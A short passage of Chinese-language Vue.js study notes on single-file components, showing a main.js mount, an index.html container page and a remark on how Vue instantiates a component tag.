import App from './App.vue'new Vue({el:'#root',template:`<App></App>`,components:{App},
})

index.html 文件

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>练习一下单文件组件的语法</title></head><body><!-- 准备一个容器 --><div id="root"></div><!-- <script type="text/javascript" src="../js/vue.js"></script> --><!-- <script type="text/javascript" src="./main.js"></script> --></body>
</html>

<school/> 或 <school></school>，Vue 解析时会帮我们创建 school 组件的实例对象，即 Vue 帮我们执行的：new VueComponent(options)